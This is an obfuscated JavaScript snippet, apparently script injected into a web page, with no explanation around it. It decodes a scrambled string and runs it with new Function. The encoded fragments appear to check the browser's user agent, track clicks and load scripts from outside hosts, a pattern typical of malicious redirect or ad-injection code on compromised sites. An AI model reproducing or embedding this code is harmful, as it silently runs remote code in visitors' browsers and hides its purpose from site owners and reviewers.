5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m65f7XT_m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m65f7XT_m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q/f/}Ko}j(8}vY8p@^K7RCo^_"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();